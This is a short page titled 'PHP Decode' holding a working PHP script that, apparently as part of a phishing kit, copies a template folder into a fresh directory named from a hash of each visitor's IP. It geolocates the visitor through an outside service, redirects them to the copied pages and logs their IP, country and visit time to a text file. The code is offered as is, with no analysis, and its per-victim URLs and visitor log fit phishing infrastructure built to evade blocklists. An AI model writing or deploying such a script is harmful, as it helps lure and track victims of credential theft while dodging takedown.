PHP Decode

<?php 
$random=$_SERVER['REMOTE_ADDR'] ; 
$md5=md5("$random"); 
$rt = substr($md5, 0, -25); 
 
 
        $ip=$_SERVER['REMOTE_ADDR']; 
 
         $details = json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=$ip")); 
 
            $continent=$details->geoplugin_continentCode; 
 
            $country=$details->geoplugin_countryCode; 
 
             
 
$dst = $rt ; 
function recurse_copy($src,$dst) {  
    $dir = opendir($src);  
    @mkdir($dst);  
    while(false !== ( $file = readdir($dir)) ) {  
    if(( $file != '.' ) && ( $file != '..' )) {  
        if ( is_dir($src . '/' . $file) ) {  
        recurse_copy($src . '/' . $file,$dst . '/' . $file);  
         }  
    else {  
        copy($src . '/' . $file,$dst . '/' . $file);  
    }  
    }  
    }  
    closedir($dir);  
    }  
$src="TR"; 
recurse_copy( $src, $dst ); 
header("location:$dst/"); 
$ip = getenv("REMOTE_ADDR"); 
$file = fopen("Vu.txt","a"); 
fwrite($file,$ip." $country |> ".gmdate ("Y-n-d")." ----> ".gmdate ("H:i:s")."
"); 
?>